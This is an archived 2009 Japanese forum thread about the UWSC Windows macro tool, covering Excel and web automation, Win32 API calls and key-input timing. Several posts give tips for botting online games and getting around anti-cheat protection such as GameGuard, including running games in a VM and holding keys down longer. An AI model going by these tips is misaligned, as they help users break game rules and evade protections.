自動が売りのソフトなんだからそれくらい出来ないとシェア払う気になんないぞ

>>890
できる
エクセルの自動操作は「Windowsマクロテクニック」っていう
UWSC解説本に詳しく書いてある
IEの操作はググレばすぐでてくるよ

俺はエクセルじゃなくテキストエディターでやったことある
コピる時に”何行目”とか指定できないので
全部1行に分断してやったw
100行のテキストがあればuwscとエディターで100ファイル別に作ってやったけどねw
多分エクセルの方が楽だよ

893:名無しさん@お腹いっぱい。
09/11/19 22:09:48 r9u6rxytO
仕事で使うのに不正扱いされるとは思わなかったwwww

>>892
お返事ありがとうございます
本買ってやってみます。


894:名無しさん@お腹いっぱい。
09/11/19 22:16:28 977wgY8k0
すいませんおしえてください
webの入力欄で入力モードの傍線が点滅している状態にして動作を終了したいのですが
IE.document.forms[0].elements[1]~で~をfocus() やclick,やelect
などとしてもうまくいきません。↑というかこれ自体なんのことかわかりません;

895:894
09/11/19 22:58:08 977wgY8k0
バックグランドじゃなくしたらできました
すいませんありがとうございました^^;

896:名無しさん@お腹いっぱい。
09/11/20 06:01:26 WyJ3vMU40
そういえばmannaβ出たての時VM上でUWSCに定期クリックさせてたけどmannaには通用しなかった(CM再生がとまる)

897:名無しさん@お腹いっぱい。
09/11/20 08:18:25 WoSjKQlE0
>>896
CM再生が止まったのをUWSCで |> ボタンクリック出来たけどね。イメージ検索で。
ま、めんどくさいしそれ以上やっとらんが。


898:名無しさん@お腹いっぱい。
09/11/20 14:29:19 rmWQwzh10
UWSCでAPIを使ってキー入力a~zを実現するにはどう書けばいい?
UWSCのkbdやSCKEYじゃ反応しなくてさ

899:名無しさん@お腹いっぱい。
09/11/20 17:09:57 sBsadNsJ0
ちょっと質問させていただきます。
スクリプトでCtrlを押しながら一定時間方向キーを押下する処理を
行いたいのですが、何かいい実装方法があるのでしょうか?

sckey関数を使ってみたのですが、一定時間入力となるとうまくいかないのです。
どなたか分かる方いましたらお願いします。

900:名無しさん@お腹いっぱい。
09/11/20 18:05:35 q+KJ/7Ha0
>>899
KBD( 仮想KEY, [状態, ms] )
引数
  仮想KEY:  仮想KEYコード
  状態:  CLICK(0:デフォルト), DOWN(1), UP(2)
  ms: 実行までの待ち時間 (ミリセカンド)
これ使えばいいんじゃね?
KBD(VK_CTRL,DOWN)
KBD(VK_方向,DOWN)
SLEEP(一定時間)
KBD(VK_方向,UP)
KBD(VK_CTRL,UP)
とか。
試して無いから出来るかどうかは知らないけれど。

901:名無しさん@お腹いっぱい。
09/11/20 20:23:15 +IFzkUSc0
初歩中の初歩だな
>>900でOK

902:名無しさん@お腹いっぱい。
09/11/22 20:09:35 BJp3XQKW0
セキュリティのかかったページって
低レベルでないと無理なん?

903:名無しさん@お腹いっぱい。
09/11/22 20:26:04 BJp3XQKW0
できたわごめん

904:名無しさん@お腹いっぱい。
09/11/22 20:39:02 py+w/JjP0
日本語で

905:名無しさん@お腹いっぱい。
09/11/26 07:11:41 sv0VFJv60
何方かあるネトゲのマクロを有料代行で作って頂きたいのですがスレチかな。

906:名無しさん@お腹いっぱい。
09/11/26 08:19:21 jsF89W1l0
GG回避がいらないならある程度できるけど
マップ移動とかは無理

907:名無しさん@お腹いっぱい。
09/11/26 08:20:51 GW7QVwfc0
やったことのあるネトゲだったらつくれるかもー

908:名無しさん@お腹いっぱい。
09/11/26 09:42:31 rIJSt0vW0
ネトゲでカラー取得と画像取得ができないんだけど
ゲームによっては駄目なのかしら?

画面をアクティブにしても画面裏にあるものが取得されてしまう。
ちなみにゲームはメイプルストーリーです。

自動でゲームをやらすとかではなく、HPとMPを自動で補充
させるといった簡単なものです。

909:名無しさん@お腹いっぱい。
09/11/26 11:01:14 pLkDLqpF0
それもチートと言います
分からないなら諦めろ

910:名無しさん@お腹いっぱい。
09/11/26 12:17:47 jsF89W1l0
>>908
有料ペットにそういう機能を持ったのがいるだろ。

チートなしにやろうと思ったらゲームを仮想マシンで実行してスクリプトをホストで動かせばいい。
スペックが高くないなら、VMware WS5.5を使えばいいよ。
ホストのメインメモリは1GBあればなんとかなる。


911:名無しさん@お腹いっぱい。
09/11/26 15:48:52 yV7BPo1f0
チートの話はネトゲサロンでやれ
ってテンプレが必要かね

912:名無しさん@お腹いっぱい。
09/11/26 16:18:01 UufdH/9cP
>>911
いや、マクロはUWSCの範疇だろ。


913:名無しさん@お腹いっぱい。
09/11/26 18:38:23 yV7BPo1f0
>>908とか明らかにゲーム固有の問題(っていうかプロテクト?)だろ
検索すりゃより適した板・スレがあるんだからそっちでやってくれって話

マビノギ チートスレ
スレリンク(mmosaloon板)

914:名無しさん@お腹いっぱい。
09/11/26 19:20:29 UufdH/9cP
>>913
ゲームの固有名も出てるしゲームの話だけど、
「HPとMPを自動で補充」というのはUWSCスレ的には特定ドットの色を監視してキー操作という基本動作なんだから全てに共通の話題だよ。


915:名無しさん@お腹いっぱい。
09/11/26 19:35:25 EIL8p+B40
ネトゲは全くやらないから判らんのだが、以前からの疑問。
ネトゲ用のボットってCOM使ってなんかやったりするのん?

単に"特定ドットの色を監視してキー操作"がメインなら
AHKの方がループ書かなくて良いし、キー認識は確実だし…
なんでUWSC使うんだべ?

916:名無しさん@お腹いっぱい。
09/11/26 19:51:16 yV7BPo1f0
>>915
単に知名度と使い慣れてるってだけかと

917:名無しさん@お腹いっぱい。
09/11/26 21:03:06 j1ZkVs3P0
オレはネトゲでUWSCよく使ってるけど、
p_memoryでHPの値拾って回復使ってる。
メイポはやったことないし、GGがあるのかどうかもしらんが。

918:名無しさん@お腹いっぱい。
09/11/26 21:30:51 vQceVThD0
URLリンク(www.gameguard.jp)
見てもらえれば分かるけど、メイプルはnPro使われてるんでたぶんUWSCじゃ動かない
nProとhackshield使われているソフトにはそのままのUWSCって聞かないよ
SA、warrock、SUN、トリックスターなどは受け付けてくれない

ちなみにオンゲでUWSCの操作利くのは、パンドラサーガ・夢世界・PWあたりしかしらない

919:名無しさん@お腹いっぱい。
09/11/26 22:38:22 jsF89W1l0
>>918
窓状態で動くゲームは操作を受け付けるよ。

920:名無しさん@お腹いっぱい。
09/11/26 23:11:31 vQceVThD0
>>919
だっけ?
試した限りでは動いたためしがなくって諦めてる
warrockあたりだと連続回復とか、トリックスターなら自動ドルルとか作りたいんだけどなw

921:名無しさん@お腹いっぱい。
09/11/27 07:24:25 VdmTC/Mk0
905です。
nPro入ってるとUWSCが動かないみたいですね。
真・三国無双Onlineのマクロを作って頂きかったのですが、諦めるしかなさそうですね。


922:名無しさん@お腹いっぱい。
09/11/27 12:38:38 Pay7Egn90
つーか、製作依頼スレじゃねーっつのww

923:名無しさん@お腹いっぱい。
09/11/27 13:42:47 S8DgtULM0
丸投げすると>>690みたいなのが来るからな

924:名無しさん@お腹いっぱい。
09/11/27 18:45:59 DJZ1BRJ60
丸投げ野郎のHDDが吹っ飛ぼうがどうでもいいけど、
マジで次スレから"ネトゲはプロテクトあるから無理"って書いとこうぜ

925:名無しさん@お腹いっぱい。
09/11/27 18:53:25 xjAPq/OP0
XPモードは表示が遅い
XPモードでゲームが動かん
USBコントローラーを認識しない
VMwareはダウンロードがめんどくさい

こんな書き込みを毎日10件くらい見かける。
そのたびにダウンロードリンクに誘導してる。

>>924
新参ってやつはそんな感じだからテンプレに書こうと書くまいとやってくる。

「ネトゲの話題を出すな」とか言うやつが情報を隠蔽する働きをするので、プロテクト関係の知識もないまま質問してくる。
だから自由に話していれば、そのうちグーぐる先生が代理で教えてくれるようになり、質問者もいなくなる。


926:名無しさん@お腹いっぱい。
09/11/27 19:33:22 CeVqa8aA0
自分で作る気のない香具師にマクロは向かねえ
自分にしか需要のないことや頼むにはちとアレな用途を
自分で考えて解決するのが楽しいんじゃねーか

927:名無しさん@お腹いっぱい。
09/11/27 20:21:19 DJZ1BRJ60
>>925
>だから自由に話していれば、そのうちグーぐる先生が代理で教えてくれるようになり、質問者もいなくなる。
不覚にもなるほどと思ってしまった

>>926
そのうちマクロ弄るのに夢中になって要らない機能つけまくるんだよね(´゚'ω゚`)

928:名無しさん@お腹いっぱい。
09/11/28 05:56:35 m1Tk5VUa0
ヤフーオークションの自動出品ツールを作成したいと考えています。
既に同じようなマクロがありましたら参考のためにお教えください。
機能としては以下のようなものです。

まず、タイトル、本文、出品数量、出品日(何日とか)、アフィリエイトのチェック
をあらかじめ入力していたものからコピペしたいと考えています。

まだ、今のところFirefoxのテキストボックスにコピーしたものを
張り付けるとうまくはりつかない段階ですが ^^;;;

929:名無しさん@お腹いっぱい。
09/11/28 06:50:43 rmVAP+p00
>>928
> 既に同じようなマクロがありましたら参考のためにお教えください。

専用ソフトがいくらでもあります。


930:名無しさん@お腹いっぱい。
09/11/28 12:14:21 m1Tk5VUa0
>>929
専用ソフトじゃなくてUWSCで作っているやつ希望です。
UWSCそのものを勉強したいってのもあるので。

931:名無しさん@お腹いっぱい。
09/11/28 12:24:37 cnmaujev0
なんの為にUWSCやってんの?アホなの?

932:名無しさん@お腹いっぱい。
09/11/28 12:37:21 rmVAP+p00
>>930
> 既に同じようなマクロがありましたら参考のためにお教えください。

同じようなマクロは録画機能を使えば作れます。
録画したスクリプトを、ハッシュテーブルに入れたデータ項目を参照するように書き換えれば出来上がりです。

ヤフオク出品みたいな、お金儲けに関するスクリプトは公開する人が少ないです。単に実用性がないから作らないのかもしれないけど。


933:名無しさん@お腹いっぱい。
09/11/28 18:10:06 kTyiFlu00
単にコピペで出品するだけなら掲示板に自動で書き込むようなマクロでも作ってみたら?
貼り付けは普通にCtrl+V使うといいと思うよ

934:名無しさん@お腹いっぱい。
09/11/28 21:42:15 b1XWYHX50
>>930
勉強したいなら既存の実用スクリプトなんて必要ないだろ。

自分で作って試しもしないのに人に聞くな。

935:名無しさん@お腹いっぱい。
09/11/28 21:47:52 zD26tnvh0
録画からだんだん成長してきました・・・

936:名無しさん@お腹いっぱい。
09/11/29 08:49:24 dgWxCHL10
API使える達人はいないのか。。。

937:名無しさん@お腹いっぱい。
09/11/29 10:06:33 nvCOxjdC0
APIとか、多少のことなら使えるけど、UWSC自体の動作が遅いほうだからAPIでぐるぐる回すのには向いてない。
もちろんUWSCの関数より直でAPI呼び出したほうが速いので軽くしたいときには使うこともあるけど・・・


938:名無しさん@お腹いっぱい。
09/11/29 10:24:37 7Yg8OKdw0
APIを使うために調査してる時間の分で、
HTMLを解析して情報とったり、フォーム送るスクリプト書いたほうが早く終わるんじゃねえの?

939:名無しさん@お腹いっぱい。
09/11/29 14:02:10 QeytHG290
>>937
>もちろんUWSCの関数より直でAPI呼び出したほうが速い

横槍でスマン。感覚的には理解できるのだけど、具体的にどの辺をAPI に置き換えてるのか教えてくれい。

940:名無しさん@お腹いっぱい。
09/11/29 14:15:16 nvCOxjdC0
Function GetChldID( PID, CID = 0 )
 Ifb CID Then
  Ifb PID = STATUS( CID, ST_PARENT ) Then
   result = CID
   exit
  endif
 endif

 h = GetWindow( IDToHnd(PID), GW_ENABLEDPOPUP )
 Ifb h Then
  S = Status(HndToID(h), ST_CLASS)
  Select S
   case "#32768"
    Result = 0
   case "tooltips_class32"
    Result = 0
   default
    Result = HndToID(h)
  Selend
 Else
  Result = 0
 Endif
Fend

941:名無しさん@お腹いっぱい。
09/11/29 14:26:27 nvCOxjdC0
>>939
たとえば子ウィンドウを検索するとき、GetIDでは全てのウィンドウを検索するし「ファイルのダウンロード」などの同名ウィンドウを処理できない。
そこで>>940みたいに、親ウィンドウハンドルを指定してその子を取得すると早い。

GetChldIDの仕様は↓の通り

def_dll GetWindow(hWnd,long):long:user32.dll
Public GW_ENABLEDPOPUP = 6 // ポップアップウィンドウ

//////////////////////////////////////////////////////
// 子ウィンドウを探す
// 戻り値:子ウィンドウのID。見つからなければ0。
// PID:親ウィンドウID
// CID:子ウィンドウIDの候補
// GW_ENABLEDPOPUPはWindows2000以降のみでサポート
//
// GetWindowによる子ウィンドウ取得を、GetChldIDに使ってみたが、
// Zオーダーで手前のウィンドウを全て取得するので選別する必要がある。
// メニュー Class:"#32768"
// ダイアログ Class:"#32770"
// ツールチップ Class:"tooltips_class32"
Function GetChldID( PID, CID = 0 )


942:名無しさん@お腹いっぱい。
09/11/29 14:34:17 nvCOxjdC0
他にも、ハンドルやIDを調べることができる自作アプリなどで、PostMessage()を使ったり。
ClkItemでも同じことだけどなんでAPI呼び出ししたんだか覚えてないなあ・・
微妙に動作が違ったか、裏で動かせなかったか・・CLK_BACKの使い方が解らなかったのかな?

ClkItem(TBuffID, elem[i], CLK_BTN, false) クリックするとアクティブになる
ClkItem(TBuffID, elem[i], CLK_BTN or CLK_BACK, false) 裏で実行できる

DEF_DLL PostMessageA(HWND, DWORD, DWORD, DWORD) :Long :USER32
DEF_DLL SendMessageA(HWND, DWORD, DWORD, DWORD) :Long :USER32
DEF_DLL GetDlgItem(HWND, Long) :Long :USER32
Const BM_SETCHECK = $00F1
Const BST_UNCHECKED = $0000
Const BST_CHECKED = $0001

// チェックボックスを参照し、チェックが入っていればキー送信。
// キー送信したらtrueを、それ以外はfalseを返す
Function GageWatch(i)
 Result = false
 Ifb ChkBtn( TBuffID, elem[i] ) = 1 Then
  KBD(key[i])
  //ClkItem(TBuffID, elem[i], CLK_BTN, false)
  PostMessageA( GetDlgItem(hWndTBuff,elemID[i]), BM_SETCHECK, BST_UNCHECKED, 0 )
  Result = true
 Endif
FEnd


943:名無しさん@お腹いっぱい。
09/11/29 15:01:47 Iei82UKK0
1.オンラインゲームでKBD(VK_Q,CLICK,40)を使うと、反応しない
2.しかしチャット欄を開いた状態だとQを押したことにはなっている。
つまりソフト側でチェックされている?

while 1
KBD(VK_Q,CLICK)
wend
3.このように連続で入力させるようにするとたまに反応することがある。

3の場合はソフト側のチェック漏れかな?
API使って出来るようになりそうならがんばってみたい

944:名無しさん@お腹いっぱい。
09/11/29 15:12:23 nvCOxjdC0
>>943
ゲームは直接キーボードバッファを読みに行くんじゃね?
DirectInputとかいうのもあるし。
んでチャット入力を受け付けるってことなら、そこだけWindowsアプリとして動いてるんだろ。
ゲームを自動操縦するにはハードウェアに近いところで操作する必要があるから、普通のメッセージ処理ではできない。

でも、ゲームガードを回避したらUWSCでも操縦できたっけ。
てことはセキュリティではじいてるのかな?
セキュリティ回避するのはちょっと難しいな。


945:名無しさん@お腹いっぱい。
09/11/29 15:16:58 Iei82UKK0
>>944
なるほど・・・自分には難しかった
このはUWSC起動すると「不正ツール(ry」って言われて落ちるけど
exe化したら一応落ちなくはなる

946:名無しさん@お腹いっぱい。
09/11/29 15:32:01 Iei82UKK0
windowsに搭載されてるスクリーンキーボードでも反応しなかったってことは
直接そのキーボードバッファというものを読みに行っているということなのかな

JoyToKeyっていうコントローラーのボタンにキーボードのキーを割り当てられるソフト
(例えばコントローラーのAボタンを押したらキーボードのSが押されたような動作をするように設定出来るソフト)
があって、それでなら動いているのだけれど つまりこのソフトと同じような動作をUWSCで実現できたら
ゲームにキーボードの押された情報を送ることが可能なのかな

947:名無しさん@お腹いっぱい。
09/11/29 15:56:12 Iei82UKK0
ネットゲームにて動かない
DirectXのアプリにてマウス操作ができない
  対応していません。

( ^ω^ )・・・

948:939
09/11/30 00:25:43 Xt2zr7cw0
>>940
遅くなったけど、回答ありがと。

>UWSCの関数より直でAPI呼び出したほうが速い
という内容とは微妙に違う例のような気もするけど…w

949:名無しさん@お腹いっぱい。
09/11/30 16:00:50 YXrN8YTJ0
>>946

UWSCはDLL呼び出せるから
JoyToKeyが使っているのと同じ命令ができるDLLを探すとか。

950:名無しさん@お腹いっぱい。
09/12/01 22:27:06 961VTAdp0
Pro試用版でexeファイルを作ったけど、
UWSCで開いたときに作るINIファイル名は大文字小文字そのままなんだけど
exe化スクリプトでINIファイルを作ると全部大文字になっちゃうな。


exe化を依頼しようかと思ったけど、
相手がどんなexeをよこしてくるか分からないんだよな。
これで商売してるからそういう情報交換も妨害されるだろうし・・・

いや、試用版でexe化するといちいちメッセージが出るのがな。
期限過ぎると動かなくなるようだし。

まいっか


951:名無しさん@お腹いっぱい。
09/12/01 22:36:31 961VTAdp0
デフォルトでexe化すると、INIファイルに変な情報が入るだけで、
自分で作ったはずのセクションが作られてなかった。

「INIファイルを作らない」オプションをつけると、ファイル名の大文字はそのまんまだったけど、
スクリプトに書いた通りのINIファイルになった。
これってexe化するときとしないときでスクリプトの内容を変えないといけなくなるわけで、苦情あってもおかしくないけどなあ・・

バージョンは4.5c1


952:名無しさん@お腹いっぱい。
09/12/02 12:18:33 OoqK5WGy0
バッチファイルだけの機能でもできる処理だけど、
待ちループもDOSコマンドだけでやればきっと軽いだろうと思ったけど、
localhostへのpingとかいうイレギュラーな方法だと結構CPU食うから、Sleep関数で回したほうがよかった。
pingだと1秒単位でしかSleepできないのにCPUは10%とか食っちゃってたけど、
UWSCでSleep(0.2)で回したほうは0%とか2%で済んでた。
Sleep.vbsを呼び出す方法はpingよりマシかもしれないけど、だったら最初からvbsでやったほうが早い。
でも、DOSコマンドが手軽だから、UWSCから部分的にDOSコマンド呼び出しが一番手軽で動作も軽いかも。


953:名無しさん@お腹いっぱい。
09/12/02 13:04:14 OoqK5WGy0
UWSC実行中に、画面が最前面になって邪魔なのって、自分で解除できるね。

thread start()
MsgBox("") // Stopformの代わり

Procedure start()
 sleep(1)
 CtrlWin( GetID("UWSC - "), NOTOPMOST )
 while true
  sleep(0.1)
 wend
Fend


954:名無しさん@お腹いっぱい。
09/12/02 13:44:08 pE8Gc7pe0
>>952
処理速度の速さだけでいえばAHKで組めば起動からなにからとことん速い。文法に違和感あるのが難点だけど。

955:名無しさん@お腹いっぱい。
09/12/02 14:58:10 OoqK5WGy0
>>954
そのAHKと、それ以外のソフトの違いってなに?


956:名無しさん@お腹いっぱい。
09/12/02 15:39:24 pE8Gc7pe0
UWSCとの違いで言えば、
AHKはのどかや繭のようなレベルまでいかないけど、そこそこ使えるレベルの応答速度でキーカスタマイズが出来ること。
キーカスタマイズの延長で、同じノウハウでソフトの制御も出来ること。
日本語処理に少々問題があること。
本体のサイズが小さい=300KB未満なこと。
文法が特殊であること。例えばA[0]のような形の配列が使えないとか。
PocketPcバージョンがあること。
GUIフォームが使えること。
拡張子のチェックがなくスクリプトが読み込めること。
くらいか。
UWSC同様Portable運用も出来るし、DLLも使える。Exe化も出来るし、更新も活発。
でも遅いけどUWSCのほうが楽に使えるのがいい。
日本語のわかりやすいサンプルもたくさんあるし。

957:名無しさん@お腹いっぱい。
09/12/02 15:42:50 pE8Gc7pe0
追記
UWSCは関数や変数に日本語を使えるのも大きい。あとで見ると判りやすさが全然違う。

958:名無しさん@お腹いっぱい。
09/12/03 09:55:48 GMSc80IJ0
Avast!(最新)でウィルス扱いされた。

959:名無しさん@お腹いっぱい。
09/12/03 14:05:54 LXuACDvD0
おれもおれも

960:名無しさん@お腹いっぱい。
09/12/03 14:24:49 3VjcNtKe0
MSのやつでは何の警告もないよ。Avastが変なやつ入手しただけだろ。

961:名無しさん@お腹いっぱい。
09/12/03 15:39:13 3VjcNtKe0
>>958-959
スレリンク(software板:843-846番)


962:名無しさん@お腹いっぱい。
09/12/03 16:42:01 33hxVSt80
avastの誤検出、ひでえなあ
こんな変な挙動はじめてだよ。
uwsc.exeだけなく、jane2h.exeまでウイルス扱い。


963:名無しさん@お腹いっぱい。
09/12/03 21:03:32 iXrRufGb0
ブラウザから解凍ソフトまで恐ろしい勢いで誤検出、警告無しに隔離云々も…って聞いた
AVGとかAviraに以降する人多いッぽ

964:名無しさん@お腹いっぱい。
09/12/03 21:23:22 LXuACDvD0
これからはウイルス警告出たらうるせえ,!と言ってavastを切リますん。

965:名無しさん@お腹いっぱい。
09/12/03 21:26:40 I8S4AoB50
対応版出てるみたいよ
>最新の“091203-1”へアップデートすることで解決する模様。
URLリンク(www.forest.impress.co.jp)

966:名無しさん@お腹いっぱい。
09/12/04 03:53:13 t2RzIDUy0
AHKは文法が変態じみていて、ちょっとしたものを書くのも一苦労だが、
uwscなら製品版を買わないとできないexe化がフリーでできるから人に渡したいものを作る場合AHKのほうが相手に負担をかけずに済む
uwscのソースを渡したりすると、uwscを知らない人だとやはり導入に一苦労させることになる

967:名無しさん@お腹いっぱい。
09/12/04 04:36:07 HevuLciX0
>>966
> 製品版を買わないとできないexe化がフリーでできる
これってバージョンいくつまで?

今の最新版だと「試用版です」って言われて、期限来ると使えなくなるよ。

> 人に渡したいものを作る場合AHKのほうが相手に負担をかけずに済む
あ、AHKならフリーでできるってことか。
でもexeって配布する人に信用がないと使ってもらえないんだよね。

URLリンク(it.kndb.jp)
マルチバイト文字の扱いがめんどくさいっぽいね。
結構いいかなと思ったけど、Webページの自動化ではUWSCが手軽だ。

AutoHotkey.dll なるものがあるのか。
hsp3imp.dllの取り込みをやってみたけど、こっちもちょっとやってみるかな。
日本語部分をUWSCでやって、細かいところをAHKでやれば結構複雑なものに簡単に対応できるかも。
ただ、マルチスレッドで他アプリと連携する機能がUWSCにないのがな・・・OCX限定なんだよな。

UWSCのマルチスレッドは、DLLをそれぞれ呼び出せるから多分ほんとのマルチスレッドだけど、
AHKのは擬似マルチスレッドってことだから、スレッド分けしてそれぞれで同時に、
たとえばHSPのスクリプトを同時に実行とかはできないんだろうね。

マルチスレッドでのキー操作がかぶるのを防ぐなら、むしろAHKの方が確実にキー操作できていいかも。


968:名無しさん@お腹いっぱい。
09/12/04 04:43:12 HevuLciX0
AHKはGPLだけど、まあスクリプトは多分大丈夫なんだろうけど
exe化した場合はスクリプトにもGPL汚染してしまうからスクリプトは強制開示させられるだろ?
AHKを流行らせるページのFAQにその情報がないのはちょっとまずいと思うんだ。


969:名無しさん@お腹いっぱい。
09/12/04 12:26:28 TrGlOmpB0
>>966
拡張子チェックしないAutohotkeyやD-monkeyは違うバージョンのエンジンを使い分けるのも簡単だったりする。
拡張子.AHKLはAutohotkeyL.exeで動かすとか、拡張子.jseはCscript.exeで動かすとか。
スクリプトでエンジンのバージョンを見て、あえて古いエンジンで起動させるとか。
出先のPCのレジストリを弄らんでも(相手に弄らせないでも)、
拡張子Jsで起動させておいて、エンジンを変えて起動させたりもできる。
そんな細かい融通なんて出来る必要ないといわれればそれまでだが、
やろうと思えば逃げ道があるってのは便利だ。

970:名無しさん@お腹いっぱい。
09/12/04 15:24:38 HevuLciX0
レジストリ参照するときはコマンドラインが使えるね。
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.\VMware Tools" /v InstallPath | find "InstallPath"

>>969
拡張子が自由すぎるのも問題だと思うけど。
スクリプトウィルスですべてのファイルをチェックしないといけなくなるし。
副作用として2chログの .dat ファイルが削除される。
僕の過去ログがウィルスチェックで削除されていた理由がなんとなく分かった。


971:名無しさん@お腹いっぱい。
09/12/05 01:15:51 RYXBer6t0
>>943
亀だが、オンラインゲームで簡易BOT作ったんだけどその経験から

KBD(VK_Q,CLICK)だと反応しないと思ったほうがいい
反応させたいと思うのなら、

KBD(VK_Q,DOWN)
KBD(VK_Q,UP,60)
などのようにすること

つまりキーを押している時間を、ゲームがキーボードのチェックしている時間を上回れ
ばいい
なお、UPのときの時間は20ですむゲームから、40くらいのゲームまで多少幅があるっ
ぽい

つまり、チャット欄のときはキー入力はバッファがあり、そこにためてからチャット欄に
移すと考えられる。notepadなどに入力するときと同じ仕様
そして、チャット欄以外の時にはリアルタイム入力でバッファがないから、ソフトのキー
ボードチェックのときまで押している必要があると思われる

972:名無しさん@お腹いっぱい。
09/12/05 20:36:46 xEt3aP6M0
Orbitを使ってダウンロードをする際、
新規ダウンロードというウィンドウが出てくるときに
「キャンセル」を押した場合のみ、Orbitを終了させたいんだけど

Orbid = GETID("新規ダウンロード", "#32770")

ifb Orbid = -1 then
exitexit
else
REPEAT
Orb2id = GETID("新規ダウンロード", "#32770")
SLEEP(1)
UNTIL Orb2id = -1
Orb3id = GETID("", "orbitdm_app")
CTRLWIN(Orb3id, CLOSE2)
DOSCMD("taskkill /im orbitnet.exe")
endif

こう書いてみたものの、これじゃあOKを押した場合でもOrbitが終了してしまう
「キャンセル」を押したときだけ終了させるようにするにはどうすればいいの?

973:名無しさん@お腹いっぱい。
09/12/05 20:50:22 /7c3sFsA0
>>972
UWSCのスクリプトでキャンセルをクリックする。


974:名無しさん@お腹いっぱい。
09/12/07 05:01:47 KNLff4OP0
スクリプト初心者なのですが、教えてください。
UWSCを使って、画面上の特定のエリアにある画像を自動でクリックさせることは出来ますか?

1:インターバル30秒後 2へ
2:『画像A』があれば『画像A』をクリックして1へ 無ければ3へ
3:『画像B』があれば『画像B』をクリックして1へ 無ければ4へ
4:インターバル30秒後 1へ

マウスの自動化は出来るのですが、画像を判別してクリックするのはうまくいきません。
サンプルスクリプトを教えていただけると助かります。
がんばって直して使用できるようにします。よろしくお願いします。

975:名無しさん@お腹いっぱい。
09/12/07 05:02:47 KNLff4OP0
ごめんなさい。sageるの忘れました。。。。申し訳ありません。

976:名無しさん@お腹いっぱい。
09/12/07 05:25:21 sqa3JRwT0
可能だけど、大抵の場合は色判定使った方が処理軽くてお勧め
どちらにせよサンプルならヘルプ見ればあるし、「chkimg」とかでググってもいろいろ見つかると思う
かなり簡単な部類のスクリプトだから、むしろ何がうまくいかないのか教えてくれないと逆に困る

別にsage進行じゃないからageでおk

977:名無しさん@お腹いっぱい。
09/12/07 11:37:01 Q9OWsxYu0
サンプルがあるのに考えないで教えて君

978:名無しさん@お腹いっぱい。
09/12/07 15:24:51 EGBUNKjc0
>>974
DirectXの全画面なら無理です。
UWSCで画像を取得できるかどうか、SaveImg()で保存してみたらいいよ。


979:名無しさん@お腹いっぱい。
09/12/07 16:34:09 2DlR/2d20
>>969
規制喰らってたので亀で申し訳ないのだけど、

>拡張子チェックしないAutohotkeyやD-monkeyは
uwsc.exe C:\hoge\hogehoge.bak (hogehoge.uwsの拡張子を変更したファイル)
ちょっと試してみたら普通にスクリプト完走するみたいだけど… 意味が違うのかな?

>拡張子Jsで起動させておいて、エンジンを変えて起動させたりもできる。
この意味が良く判らない…
別スレでJscriptとAutoItXの共存を書いている人いるけど、この類の話?

980:貞子
09/12/07 17:31:58 uPHQyMnr0
>>979
ちょっと透視してみるわ。
どーれどーれ~、見えた!机の上はちゃんと片付けてね!

あなたのハードディスクのC:\hoge\hogehoge.bakのすぐとなりに、
C:\hoge\hogehoge.uwsが見えます。

そのファイルを消すと、C:\hoge\hogehoge.bakは動かなくなるはずです。


次ページ
最新レス表示
レスジャンプ
類似スレ一覧
スレッドの検索
話題のニュース
おまかせリスト
オプション
しおりを挟む
スレッドに書込
スレッドの一覧
暇つぶし2ch